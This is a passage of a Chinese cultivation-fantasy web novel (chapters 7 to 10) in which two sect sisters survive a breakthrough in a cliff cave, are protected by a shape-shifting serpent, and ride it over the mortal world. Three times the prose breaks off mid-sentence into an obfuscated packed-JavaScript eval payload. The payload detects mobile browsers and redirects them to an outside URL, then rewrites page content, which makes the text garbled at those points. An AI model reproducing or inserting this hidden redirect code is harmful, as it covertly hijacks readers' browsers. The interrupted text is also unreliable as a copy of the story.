她抬手感受着指尖充盈的灵力,只觉得周身轻快,此前修行时的滞涩感一扫而空。 那谢玄微也不过筑基境界,如今她已在境界上与对方相差无几。假以时日,只要她潜心苦修,修为实力凌驾于那坏女人之上,亦是指日可待。 想到此处,陆青青越发得意。她放开五感,去搜寻那谢玄微的身影,忽的怔住了。 那道身影,竟自挣扎着,往水潭中爬去。 与此同时,她也听到了,那女人压抑在齿间的低.喘。 奇了怪了,这女人这是怎么了?还嫌这崖洞不够冷么,还要往水里爬。又发出那种怪声。对了,她为何要爬行呢?平常,她总端着架子,比谁都高贵似的,可不是这副模样啊。 太反常了。事出反常必有妖,陆青青总觉有诈,一时静在原地,默默思量。 这时,一道巨大的黑影猛地从黑暗里升起,陆青青只觉眼前一暗,来不及运气,便给一只巨蟒拦腰紧紧缠缚住,往水潭处送去。 她拼力回身去看,只觉这巨蟒有些眼熟,待要用功挣扎,忽听一个熟悉的清冷女声道:“别过来。” 低头一看,说话的那人,正是谢玄微。 谢玄微仰靠着崖壁,半身浸在寒潭之中,白衣被水浸透,紧紧贴在身上,勾勒出清瘦却曼妙的线条。 她素来淡漠的眉眼染上了一层异样的绯红,唇瓣亦泛起艳色,呼吸微促,原本清冷如松雪的气息里,混着一丝压抑难耐的低.喘。 几缕湿发黏在她颈侧与锁骨,水珠顺着白皙如玉的肌肤缓缓滑落,坠入潭中,漾开一圈细微的波纹。 清冷与妖艳,碰撞出一缕破碎又勾人的旖旎风情。 此情此景,若是落在常人眼中,怕是已心火躁动,手心潮热了。 可偏偏是落在不识风情满心戒备的陆青青眼里。 陆青青:这女人又在搞什么诡计? 请睁开眼睛仔细看看,这情形,是她主动要过来的么? 明明是这女人使诡计,和这条臭蛇串通一气,强行将她掳掠来此。 她才刚刚升阶,灵力还未稳固。万一有个闪失,怕是会损身坏道。 恶毒女人,又要害我! 8. 第 8 章 陆青青被那巨蟒禁锢着,悬空于水潭之上。灵力难以施展,耳边是那女人破碎低沉的话语:“别过来。师妹。” 她真的一点也不想过去,可那巨蟒却像是故意与她作对,硬是卷着她朝潭心送去。正暗自咒骂挣扎间,蛇身一落一送,竟直接将她送到了谢玄微怀里! 霎时之间,两人之间的距离,比咫尺还要近。她能清晰地看到女人的每一丝表情,泛红的眼尾、微颤的长睫,甚至还能清晰感受到对方的吐息喷洒在面颊上的潮.热。 该死,真该死。陆青青一边大骂作恶的巨蟒,一边尽力撇过脸,不教那气息沾染到面颊上。 谢玄微眸中欲.色深浓,迷蒙一片,指尖却死死扣住潭边岩石,指节泛白,似在拼命压制着体内翻涌的燥.热与失控的杂念。 “给我刀……” 她眼睫轻颤,明明是痛苦隐忍之态,却偏偏生出几分惊心动魄的艳色,风情旖旎。湿发垂落肩头,几缕黏在颈侧与锁骨间,发尾水珠顺着肌肤缓缓滚落,坠入水潭中,漾开细微波纹。 陆青青看看那细纹,又看看谢玄微,心道:这回看着不像是装的,莫不是走火入魔了?若果真如此,她就有好戏看了。 喜从心起,她浑然忘却了自身窘境,甚至看那巨蟒也眉清目秀起来。 这巨蟒,明明是来助她的呀。 谨慎起见,且试她一试。 她试着开口,柔声问:“师姐,你要什么?” “把刀给我……” “刀?师姐要刀做什么?是要杀什么人么?” “师妹,师……妹……” 女人轻唤道,一声声的,似泣似叹,尾音轻颤,带着压抑的沙哑与难.耐,缠缠绵绵地落进陆青青耳里,听得她浑身汗毛都竖了起来。 陆青青心想:这女人走火入魔便罢了,偏偏叫我做什么?腔调怪里怪气的。 不对,也不像在叫她啊。是在回答她的问题吧。 她方才问,谢玄微要刀杀什么人,谢玄微就连唤了两声师妹。分明就是说,要拿刀杀她啊! 都走火入魔了,还不忘杀她! 可恨,着实可恨! 正想着,一只手颤抖着抚上了她肩头,用力握紧了。 与此同时,谢玄微眸中的迷蒙散去,眸光定定落在她脸上,眼底,点点猩红溢出。 万般的风情,千般的诡艳。 明明是在看着她,却又好似透过她,看着虚空中遥不可及的另一个身影。 眼底翻涌的情绪浓得化不开,极致炽烈,又极致纷乱。深入骨髓的痛楚,沉如寒潭的哀伤,一闪而逝的戾色,哀极痛极,恨极爱极。 陆青青:! 这女人失心疯了,定是看我升了两阶,心生嫉恨,要装疯卖傻杀了我吧? 坏了,她竟没提防这一手。 她虽升到了炼气九阶,可距离最关键的筑基依然差了一阶,如何能与筑基中期的谢玄微抗衡?更何况,还有条臭蛇从旁牵制着她? 这蟒蛇似是修为不俗,若是凡俗蛇虫走兽,凭她炼气九阶的修为,不说教它碎尸万段形魂俱灭,却也不至于给玩弄于蛇身蛇尾之间,挣脱不得。 巨蟒牢牢禁锢着她,那蛇身仿若铁甲般坚硬,不给她一丝可乘之机。 她只好一面扭动,设法挣开那只握在肩头的手,一面假意笑道:“师姐,你可是走火入魔了?且放开我,我为你寻医去。” 听了这话,谢玄微的眼神渐渐空洞,“寻医……”她喃喃地重复着。 “是啊,师妹这就替师姐寻医去。师姐且放开我。” “医不好的,你死了,医不好的。” 陆青青没听明白这句话,莫非这女人在咒她死么? 真是气煞我也。 她心中大怒,面上却仍敷衍着,笑问道:“师姐说什么——” 话未说完,陆青青浑身一僵,只觉肩头那只手忽然间变得滚烫,裹着压抑到极致的燥热,她心神一凛,浑身都绷紧了。 下一刻,那只手却猛地用力,不是要擒她,竟是狠狠一推,将巨蟒和她一并推离水潭。 谢玄微的声音破碎沙哑,带着强忍的颤栗,一字一顿:“……快走。” 随后,她艰难抬手,结出一个结界。只是最后一笔缺口,却无论如何也无法写就。 那手无力地垂落在水潭中。 这女人是怎么了?莫非是要…… 谢玄微胸口急剧起伏,眼尾绯红一片,清冽如寒泉的眸中水雾弥漫,周身邪气翻涌,缠得她肌肤泛出邪异的绯色,透过湿透的薄衫,红痕一点点泅出。 可明明是这般风情旖旎、欲.念深重的模样,眼底却带着万般痛苦与决绝。 “快、走!”她再度艰难开口。 巨蟒似有灵性,察觉到她的意志,身躯微微一松。 陆青青好容易挣脱了禁锢,得了自由,看她周身邪气翻涌,也知晓大事不好,不用这声吩咐,早已运气起身,疾步往崖洞外奔去。 刚奔至洞外,便听身后传来轰隆一声巨响,震得整个思过崖都微微震颤。 陆青青一惊,回头望去,只见崖洞内灵光冲天,一股浑厚凌厉的气息,如同潮水般向四周滚滚奔腾而去,灵气铺天盖地,天上的云层骤然急速翻涌,疾风阵阵狂啸,忽而电光疾闪,雷声大作。天穹之上,似有万道金光狂泄而下,落点便是这思过崖。 陆青青在这毁天灭地的狂风金雨中,身子抖如落叶浮萍,飘忽无所依,只能急中生智,死死抱住崖边戒柱。 她心里只有一个念头。 又来了。这恶毒女人,又来害她了! 上一回,谢玄微觉醒双灵根时,周遭也是异象翻涌,灵气四溢。在那绝顶灵气的冲击之下,她狠狠地摔下了演武场,摔断了三根肋骨。这回也不知那女人又修炼成了何种邪修功法,灵气冲击更为猛烈,又是在万丈高崖之上,她怕是要给震得摔下悬崖,粉身碎骨了吧? 不行,不能这么轻易地被谢玄微打败! 她咬紧牙关,将体内刚突破不久的炼气九阶灵力尽数逼出,薄薄一层结界护住周身要害。 可惜的是,这微薄灵气结成的护身结界如同风中残烛,在那铺天盖地、几乎要撕裂一切的狂风邪雨中显得可笑又可怜,不到片刻便被撕碎了。 陆青青只觉浑身经脉剧痛,气血翻涌,双手也失了气力,只怕再来一阵狂风,她整个人便要从戒柱上飞出去,坠入万丈深渊。 可她不能就这么被打败。她不甘心……她才十六岁,她还没有打败谢玄微,她的天赋资质还没有被所有人看到,她还没有真正拥有过风光的时刻…… 苍穹压顶般的狂暴威压之下,她再度运气,生生地将丹田内最后一点蕴藏的灵力逼出,凝聚于双手之中。 沉默了数百年的戒柱,仿佛不堪重负,发出了令人齿酸的断裂声。 就在它即将带着少女被狂暴威压连根拔起的刹那,一声咆哮震彻天地。咆哮声如龙吟,震耳欲聋,震得整座思过崖都在颤抖。 伴随着那声咆哮,一条巨蟒自崖洞里奔腾而出,蛇身以肉眼可见的速度疯狂暴涨,从数丈拉长到数十丈,再到上百丈,鳞甲层层翻涌,漆黑如墨,甲面泛着上古神铁般的暗金流光,古奥而森然,透着苍茫岁月的威压。 它头颅高昂,几乎要顶破崖顶云雾,一双竖瞳赤红如血灯,开合间神光慑人,两根修长獠牙泛着寒芒,吞吐的气息都带着镇压万灵的气势。 庞大蛇尾一摆,便将整座戒柱与陆青青一并都笼罩在内,如山如岳,横亘在狂风金光之中。原本毁天灭地的灵气冲击撞在它鳞甲之上,只能激起层层涟漪,竟被这上古神兽硬生生挡了下来。 陆青青掩藏在巨蟒宽厚身躯之中,仰头望着那遮天蔽日的蛇影,神识恍惚。 这是什么上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537237|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古怪物?亦或是……神兽? 不管它是怪物,还是神兽,此时此刻,它确是以蛇身护住了陆青青,替她挡下了那灭顶的威压。 良久,狂风止歇,金光消隐,雷电远去,天地之间,又是一派清和景象。 陆青青被护在蛇身之内,残存的微弱灵气勉强替主人护住心脉,而灵识却已沉沉睡去。 月色溶溶,云淡星疏,山间鸟虫婉转啼鸣,微风吹拂,送来阵阵山间草木的清香。 崖洞方向传来轻微的脚步声,白衣胜雪的身影缓缓走出,正是刚刚破境的谢玄微。她周身灵气已然平复,却比此前更为浑厚内敛,眉眼间的脆弱与痛苦尽皆敛去,恢复了素日的清冷,只是眼尾仍有一丝未散的绯红艳色。 她的目光落在被巨蟒护在身下的陆青青身上。 少女蜷缩在巨蟒温热的鳞甲旁,双目紧闭,眉头微蹙,脸色惨白如纸,连呼吸都变得浅促而微弱。方才的惊涛骇浪、灵气冲击,早已耗尽了她的心神与灵力,此刻的她,宛如熟睡中的婴儿般,无知无觉地依偎着巨蟒。 谢玄微脚步未作停顿,径直走上前去。 一手将少女揽入怀中,一手轻轻覆上她丹田处。 一缕清润厚重的灵气从指尖溢出,缓缓渗入少女的肌肤,随着她的经脉蜿蜒游走。 灵气所过之处,如同春日暖阳消融残雪,灵脉断裂之伤一点点愈合,原本躁动不安、四处乱窜的残余灵气,也被这股灵气牵引安抚着,渐渐归于平稳。 月光洒下,落在少女面颊上,那脸上的痛苦之色渐渐消隐,谢玄微收回手,指尖细碎的银辉缓缓收拢。 而那巨蟒,早已在谢玄微身前低伏下来,温顺至极的姿态。半个时辰前,几可通天的庞大身躯,此时正一点点地萎缩,最终重又化为一条寸许长的小黑蛇。 “我早知你是灵兽,却为何要助我?我身上,有你欲求之物么?”谢玄微问。 小蛇却并未回答,只是调皮地扭了扭蛇尾。 “也罢,今日你助我在先,你若无主,我便收你为灵宠,助你得道飞升。”小蛇似是听懂了,乖乖攀上她衣袖,蛇尾一圈圈地绕在了她小臂上,蛇信子则不住地舔舐她的手指。 * 陆青青醒来时,并未有预想中的疼痛。 这自然不合情理。 陆青青还记得,她是从那毁天灭地的异象里,勉强捡回了一条命。 此时,浑身上下却不见一点伤痕苦楚,就连一丝微弱的灵脉断裂之痛也无。 为何会如此?自然是她陆青青福大命大,天道护持。不然,难道还能是靠着眼前这女人和那条臭蛇的庇护? 初醒时,望见身前的谢玄微,她下意识的动作,是往后退。 毕竟受了那么大的惊吓,吃了那么多的苦头,全是拜这谢玄微所赐。好不容易躲过一劫,能不躲这灾星远点儿嘛。 可她很快就记起了一切。记起了素日在谢玄微面前所扮演的那个天真懵懂的小师妹。 于是,她的姿势很自然地转换为倾身向前,一手抓住谢玄微手腕,脸上的惊恐和慌乱,调配得恰到好处。 “师姐,你没事吧?方才,下了好大的雨,还有电闪雷鸣,我好害怕。” 谢玄微目光淡淡扫过少女那只手,道:“无事。” “无事便好。”陆青青道。 不好,一点都不好! 她又蹙起秀眉,担忧道:“这天忽生异象,也不知从何而来,害师姐和我都受了这无妄之灾。还有,方才在崖洞内,师姐何以那般……似是——似是——”话说到一半,她便停住了,故作沉吟,似是难以启齿般。 她急需知道谢玄微身上发生了什么,是走火入魔,还是功法大成,亦或是—— “我破境了。”谢玄微轻声道。语气极其平淡,像是在说“我吃饭了,我睡觉了”一般,似乎这是人人都该习以为常的小事。 9. 第 9 章 闻言,陆青青霎时如坠冰窖。 明明几个时辰之前,她还在为连升两阶洋洋得意,甚至暗忖再过一些时日,便能与谢玄微平起平坐。可谁知,对方竟然又提升了一个大境界。她们之间的差距非但没有缩小,反倒又拉开了一大截。 不,是一道鸿沟,一道天堑。 从炼气到筑基虽然有难度,但大多有天赋的修士都能靠努力修行达成。可筑基境到金丹境,却是仙途之上一道难以逾越的鸿沟,多少修士,都是到达筑基境后,便再难精进。 如同蝼蚁与鸿鹄,根本无法相提并论。 而谢玄微,刚入门六年,便入了金丹境。 好在陆青青还算清醒,很快缓过神来,思索应对之策,同时心中升起了一丝不甘的幻想,怕是对方故意作假,遂又试探着问道:“师姐莫不是提升境界至——” “金丹境。”说话间,谢玄微素手翻转,掌心骤然爆发出夺目金光,一枚饱满莹润、通体剔透的金丹虚影缓缓自她手心升起。 陆青青愣愣地看着这枚金丹,只觉周身血液都凝固了。在这金丹境的威压之下,她竟半点也动弹不得。 而周围的风似乎也凝滞了,厚重的灵气极其缓慢地流转在那金丹周围,黏稠有如实质。 直到谢玄微合拢掌心。 威压内敛,风再次吹拂而来。陆青青蜷了蜷手指,强自扯起唇角,牵出一个明媚无邪的笑来:“谢师姐入了金丹境么?恭喜谢师姐。” 谢玄微目光淡淡,只轻点了点头,算是回应。 陆青青垂眸故作怯怯状,心里却在百折千回,她将今夜之事细细思量过一遍,寻找着其中的漏洞。 半晌,她抬眸,对谢玄微道:“师姐天资卓绝,即便在思过崖中,也能潜心苦修、突破桎梏,真是令师妹心生敬佩。不瞒师姐,我今日也才在崖洞内突破至炼气九阶。谢师姐,这崖洞,当真是灵气丰沛的修行宝地么?” 呸呸,她怎么可能敬佩这个恶毒阴险屡屡害她的女人!敬佩是假,急于探寻真相是真。 谢玄微摇头道:“此次破境,亦属巧合。我身带禁制,本须到日出之时方可消解,却在破境之前自行破开了。” 陆青青懵懂地点了点头。 她真的奇了怪了,这谢玄微难道身怀什么天命,怎么带着禁制,还能在这灵气贫瘠的苦寒崖洞里升境?联想到她在崖洞内的种种古怪反应,陆青青断定,此事必有蹊跷,谢玄微身上,必定有古怪。 兴许是…… 她抬眸,视线从谢玄微面上,缓缓下移,落到那半隐于袖的皓腕间,一条蛇尾正从中探出。 对上这小蛇,陆青青似是寻到了救命恩人般,声调微微颤抖地问道:“谢师姐,方才我被风吹得站立不住,有条长蛇救了我……便是这条小蛇么?” 谢玄微道:“正是。此蛇应是灵兽。遇风雨则化为龙形。” 果真如此!陆青青方才细思之下,两人境界忽然突破,唯一的相似点,便是都给这蛇咬了。故而推断是小蛇有问题。 原来如此啊。本以为那臭蛇是在欺负她,谁知却是给她送机缘来了。 小蛇似是听到了两人对话,自谢玄微袖中爬出,立起身,冲陆青青连连吐了好几下蛇信子。 虽为灵兽,毕竟仍是畜生。陆青青不以为意,细看这蛇,只见它通体漆黑,竖瞳明亮,头顶尖尖似各生着一只初萌生的小龙角,只觉可爱非常。又回想崖洞中那只巨蟒,继而,忽记起前些日子,第一回来思过崖时,在山间所遇的黑蛇。 当时,就是这蛇出来拦路,才令她惊慌失措间,打翻了给谢玄微的食盒,也因此阴差阳错,免去了谢玄微中毒而她则身陷囹圄的大祸。 原来她早在谢玄微之前,就遇到了这蛇。当时,她为何没有驯服它呢?若是她在谢玄微之前,给了这灵蛇吃食,这灵蛇,岂不就是她的了? 不似现在,这蛇攀在谢玄微臂上,亲密又依恋,只肯听谢玄微的话。想必谢玄微破境,就是这灵蛇的功劳。 不行,她得想个办法,把这宝贝灵兽夺过来。不对不对,是夺回来。这灵蛇原该就是她的,是她先遇上的。 “师姐,这灵蛇好生厉害。方才全赖它庇护,我才得以无碍,这等庇护之恩,我真不知该如何报答……”陆青青作出一副深受大恩,无以为报的动容之态,说到最末,还抬袖在面上轻拭,似动容已极,以至垂泪。 可她哪能挤出什么眼泪,不过是虚虚的轻抚眼角罢了。 谢玄微不动声色道:“师妹不必如此。你我修行之人,原该少生执念。此蛇救护于你,是天道机缘,你不必挂怀。” 陆青青:? 我说天要下雨,你偏来讲什么修行之道?也不知是装傻,还是得了便宜在卖乖? 陆青青观她神色,又是素日那套清冷高洁之态,半点伪饰也看不出。 真是阴险!太会装模作样了! 但即便对牛弹琴,话还是要说下去的,陆青青道:“师姐境界高深,道心高洁,我却修为浅薄,凡尘俗念,恐一时不能解脱呢。这灵蛇救护我之恩,我若不报答,怕会日夜寝食难安。” 谢玄微道:“师妹何须自扰,你连日所送饭蔬,有小半都入了这灵蛇之口,若论因果,今日他护佑你,才是报答。” 陆青青一听更加来气,这女人真是油盐不进啊! “有师姐这番话,我便稍可安心了。”她一面按下急躁,敷衍谢玄微,一面伸出手去,欲去抚弄那小蛇,想趁机教小蛇爬到自己臂上来。 谁知,那小蛇却使出一招神龙摆尾,呲溜呲溜钻回了谢玄微大袖内。 陆青青的手,就这么硬生生地停在半途,退也不是,进也不是。 因她的指尖若是再进一寸,便要碰到谢玄微的手。 谁料,那手却微微一动,覆上了她的手背。 陆青青浑身一凛。 这女人要干什么?莫非是察觉了她的意图,在警醒她么?可那手上,却不带丝毫威压。 微凉的指节轻拢在她指间,像拢着一朵将落未落的花,温柔怜惜。 陆青青并未露出惊慌之态,只微微讶异道:“师姐这是何意——” 谢玄微那双极淡的琉璃眸中闪过一丝幽黯,如寒潭微澜,不过瞬息,便重归古井无波的沉寂。 她轻声道:“今夜崖洞内之事,还望师妹不要对旁人提及。” 陆青青明白了,原来这般作态,是有求于她啊。 她不动声色地抽回手,甜甜一笑,道:“师姐放心,师妹怎会是那等蠢笨小人,事关师姐境界安危,我断不会与外人言说。” 修士的进阶升境,绝非一日一时之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537238|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,为求稳妥,往往还需静修运功多日,方能稳住境界。谢玄微破境未及半日,体内应仍有一小股紊乱灵气,凶险还未过去。 倒是陆青青的升阶更加安全些。初醒不久,她已暗自探察过自己的丹田灵脉,安然静谧,并无不妥。她想自己果然是福大命大,天道宠儿,功力深厚,经历那般生死劫难,丹田灵脉仍能安然无恙,连身上的伤处也能自行修复如初。 而谢玄微呢?恐怕就是个倒霉星降世吧,虽一时侥幸破了境,可先前还不是经历了千难万险?差一些都疯魔了呢。 联想到谢玄微在崖洞内的种种反常举止,陆青青只想到一个解释,那就是,她破境前灵气不稳,神识错乱,行止失控。用凡间俗语来说,就是失心疯了。 不然,她这个整日端着架子自诩高洁的好师姐,怎么会忽然就性情大变,牵着她足踝,为她裹伤,还生出了要拿刀杀她的心魔? 虽然不愿承认,但陆青青冷静下来,已想得十分清楚。不说此时已入金丹境,便是筑基中期的谢玄微,要杀她这样一个炼气境修士,还不是易于反掌。人怎么会对如此简单之事生出执念? 修道之人的心魔,皆是日夜折磨萦绕心头却求而不得的人或事。 陆青青瞥了眼藏于谢玄微袖怀中的小蛇,心想,今日既夺不回这蛇,便罢了,也不急于一时,可不能执念过深,给区区一条臭灵蛇逼得生出心魔。 毕竟,心魔不止会日夜折磨修士,更会阻碍修士升境突破。心魔不除,大道难成,稍有不慎,还会落个身死道消的凄惨下场。 思及此,她看向谢玄微。 这谢玄微,进境虽快,却已被心魔缠身。 甚好。 她昨夜思绪杂乱,一时不察,只当谢玄微是走火入魔,万料不到竟是破境前心魔作怪。白白错过了发掘催化谢玄微心魔的大好机会。 既然已错失良机,那便只能来日方长了。 眼看天将破晓,她道:“师姐既已破境,禁制已销,可否送我回去?”怕对方不肯好心相送,她又续道,“今日是宗门大比之日,师姐也需往演武场应试吧?” 她的本意是提醒谢玄微,宗门大比事关重大,不可延误时辰,还不赶紧送她回去,然后往演武场准备? 谢玄微却道:“那我便携师妹同去。” 携她同去?陆青青还要去寻闭关的陆青辞呢。她们约好的,上场前要和陆青辞一起筹划一番,将对手一一击败。 正待拒绝,原本藏于谢玄微衣袖中的小蛇轻巧落地,眨眼之间,便蜕变为丈余长的蛟龙,龙身矫健,鳞甲生辉,龙目圆睁如琉璃,透着凛冽神光。 它温顺地伏在两人腿边,头颅微垂,似在等候两人坐上去。 陆青青:还是小看这条蛇了。无风无雨,也能化形。 有这么威风的坐骑,她能很难拒绝,只能暂且把和陆青辞的约定抛去脑后。 她侧身坐上蛟龙宽阔的脊背,双手抱住龙身,一缕熟悉的清雅香气欺近,是谢玄微在她身后坐下了。 蛟龙腾空而起,谢玄微素手微动,指尖溢出一缕莹白灵气,挥向思过崖方向。 方才倾倒的碎石瞬间归位,断裂的栈桥也以肉眼可见的速度修复,转瞬便恢复如初,不见半分破损痕迹。 她收回手,轻轻拢住了身前的少女。 10. 第 10 章 蛟龙腾空而起,倏然几息便已飞抵青云台上空。 耳边风声呼呼,脚下青云缭绕,蛟龙正缓缓降落,陆青青忽然道:“谢师姐,辰时未到,我们要不要先飞去别处看看?” 坐上这蛇身之前,陆青青是这般所思所想:今日是宗门大比之日,清音宗多数弟子会齐聚青云台。若是给那些同门修士瞧见她乘着这大蛇在天上飞的威武模样,那该多好啊! 可天际还未全明,陆青青刚刚往下望了望,见青云台上人迹寥寥,多数弟子还未赶到此地,故而转了念。 她如此风头,却只有寥寥几人瞧见,多可惜呀。倒不如先趁着这难得的时机,去瞧瞧别的热闹。 谢玄微眉梢微动,问:“师妹想去何处?” 陆青青道:“我想飞到凡世间去,那里很好玩的,谢师姐一定也喜欢。” 谢玄微喜欢与否她可不知,但她自己是极想去的。自打入了宗门,她便离了那些红尘热闹,偶尔被执事派去山下采买,也只能在萧索小镇里打转。每每她想把宗门弟子的身份拿出来炫耀一番,却连一个愿意听她说话的人都找不到。 谢玄微略一沉吟,便应了声“好。” 得了主人的应允,蛟龙腾空一跃,眨眼便飞离了清音宗的连绵青山,又一个俯冲滑行,便来到了凡尘地界。 此处正是人间烟火处,街巷纵横,屋舍连绵,酒旗迎风招展,车马行人络绎不绝。叫卖声、谈笑声混在一起,热气腾腾,好一派红尘繁华之景。 “小蛇,飞低一些!”重回熟地,陆青青急于细看这个她曾经身处其中的热闹人间。 蛟龙敛了灵气,缓缓下落。 街边小贩支着蒸笼,白雾腾腾往上冒,甜香与肉香混着扑面而来。 挑担货郎摇着拨浪鼓,叮当声响一路远去。 扎着双环髻的小女孩举着小糖人嘻嘻笑着在青石巷里奔跑,身后一个孩童一面喊“我要抓住你了,你输了,你的糖人归我了”,一面却暗暗地放慢了脚步。 街巷拐角处有耍杂耍的,壮汉赤手空拳劈碎青砖,引得围观百姓阵阵叫好,铜钱叮当落进托盘里。 一旁露天的茶铺内人声鼎沸,说书先生拍着醒木,唾沫横飞讲着江湖轶事与仙门传说,座下客人听得入迷,叫好声不断。 “真好啊。”陆青青也叫起好来。 没有人听见。凡尘俗世,仍自顾自热闹着,全然不觉头顶已多了一片黑云,便是有人抬头看到,也只会以为是一片乌云飘来了,断不会想到里面竟藏着一个名叫陆青青的少女。 更不会知晓,她小时候也是在这街巷里奔跑的顽劣孩童,偷包子,扮乞丐,狗嫌人憎,没一个子儿,却和陆青辞一起挤在茶铺里,听说书人讲仙门故事。 又有谁会知,她一朝走运,竟飞入了仙门,眼看便要升至筑基境了。 筑基过后,便是金丹,到那时,她便同这些凡尘中人全然不同了。 可是,这凡尘俗世,有人知晓她的名字吗?多年后,她在清音宗的所历之事,会传扬到四海八方,教这茶铺说书人日夜讲述吗? 万一,她的名字始终也没有人知晓呢? 旧地重游,陆青青莫名生出些杂乱感慨。 远目望去,只见宫殿层层,金瓦红墙,气派森严。 那便是凡尘俗世间的至高所在——皇城了。 孩提时,她和陆青辞听说书人讲皇城多么威严,多么显赫,都非常的想去皇城里看一看。 如今在高处俯瞰而下,那巍峨殿宇,却像是孩童拿石子沙土随意堆成的玩物。 那时,她从未料想过,自己竟能乘龙而起,入了仙门,又会得此机缘,飞到这么高的天上去。 心绪繁乱间,话便自然而然地说了出来:“以前饿肚子的时候,听旁人说皇宫很大,有许多好吃的,便想着一定要去看——” 陆青青忽的住口不说了。 糟糕,怎么在这个女人面前说这些。定是飞得太高,昏了头。 她是孤儿,连家也没有,比那些清贫田家出来的孩子还不如,在宗门里,是最低等的出身,常被人拿出来嘲笑。 那女人此时定在心里偷偷嘲笑她了。 陆青青暗暗地恼了,拿手抠着那蛟龙鳞片,叫道:“快飞高些,飞到云里去。” 蛟龙一跃而起,直冲云霄。 谢玄微垂眸,看着突然倔强起来的少女,只是默然。 她知晓的,她初见陆青青,是在入门测灵根那日。 彼时她亦不过是十多岁的孩童,在台下望见那小姑娘一身蔽旧衣裳,一张脏污小脸,只那眼瞳却清亮干净。测得灵根后,小姑娘欢喜至极,又蹦又跳,笑颜明媚无双。她不知怎的,竟不自禁走上前去,想将那笑容看得更清楚些。 见她上前,小姑娘转头,微微不解地望了望她。她忽然升起一股冲动,胸口堵得慌,不知如何宣泄。鬼使神差地,她转身,一手按在那测灵石上。 灵力倾泻而出。 灵石迸裂,光华炸开,碎片四溅。眼前这一幕,她始料未及,更不想,此举会殃及到一旁的小姑娘。只见小姑娘跌倒在地,脸容痛苦,笑颜不再。她想上前,想教她张开那明润的双瞳再望一望她。却早有一个孩童冲上来,将小姑娘紧紧抱入怀中。 后来,她听长老说起那小姑娘的来历和资质。说她一介孤儿,身怀上品灵根,确是难得。可惜道体衰弱,经脉孱弱,日后修行步步维艰,终难成大道。 陆青青全不知她心中所忆,只是一迭声地喊道:“再飞高些!再高些!太低了,再高!还要再高!” “再高!” 蛟龙:你要上天啊? 蛟龙若是会说话,一定就骂出来了。可惜它终归是只兽,只能听从主人心底的默令,任那刁蛮少女催赶着,往九天之上冲去。 * 从九天之上俯瞰,清音宗连绵的青山便如一条青绿缎带,飘逸斜飞,有一片格外宽阔的斜飞之地上,人潮如织,灵气蒸腾,显是正开宗门盛会。 值得如此隆重排场的盛会,自然便是那三年一度的宗门大比了。 宗门大比乃清音宗弟子的身份进阶登高之道。外门与内门弟子皆可递名参与,外门弟子参与者若是在演武场上连赢五场,便有机会拜入内门;而内门弟子中的佼佼者,亦有拜入长老座下,成为亲传弟子的机会。 至于宗门宠儿,亲传弟子之间的较量嘛,自然是为争那一个响当当的“首席大弟子”名号。 比斗为时一日,辰时启始,戌时结束。比斗之地,便设在宗门的演武场,即青云台。 传闻清音宗开山立派的掌门曾在此地以云为阶,踏云阶直上青天,得九天之上的仙人点拨仙缘,传授仙法,故而有此仙名。 直上青云,飞升得道。亦是修士们心底日夜所愿。 此时辰时未至,比斗还未开始,早有各路弟子齐聚于青云台,有些彼此低声交谈,有些则抱臂闭目养神,有些在紧张地试演功法,还有类弟子,许是没有报名,正在东游西逛,广结良缘,一派悠然自得之态。 最末这类弟子中,有一位因和周遭之人格格不入,因而极其显眼。 那人似是个玉面书生,斯斯文文的打扮。身穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537239|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一袭磊落青衫,腰挂一串温润玉佩,不显华贵,却也不落尘俗。 他手持一柄折扇,闲闲地在胸前打着,扇面上四个飘逸大字也随之上下翻飞:道法自然。 打眼望去,倒是十二分的潇洒。 只是他的潇洒,十二分的异于周遭修士。 他在青云台上走马观花,信步而行,时而拍拍某个正闭目养神的修士的肩膀,时而插一句话在正密谈的两人之间,时而同正演练功法的弟子比划一二。 看他这副模样,不像是来参加比斗的,倒像是哪家纨绔公子踏青游春。 只是他所过之处,人仰马翻,怨声四起。人人都嫌他扰了自家清静。 他却丝毫不显尴尬之色,偶尔被骂了,也只是摸摸鼻子,脸上仍旧笑眯眯的。 爱笑的人运气都不会太差。许是因此之故罢,他万花丛中过,竟一顿打也没挨。 只有方才,与正演练的修士比划时,一个大招将人打出半丈远,他匆忙上前搀扶之际,被那修士的同伴从背后狠狠推了一把,扑倒在地,不,是扑倒在了那位受伤修士的身上。那修士嘶声哀鸣,他则斯斯文文地站起身,将人拉起来,一面道歉一面道谢,胸前却又挨了那修士悲愤至极的一拳。 此时,这位公子已整理好仪容,预备插入两位女修的密谈,还是与他密切相关的密谈。 “真是奇也怪哉。” 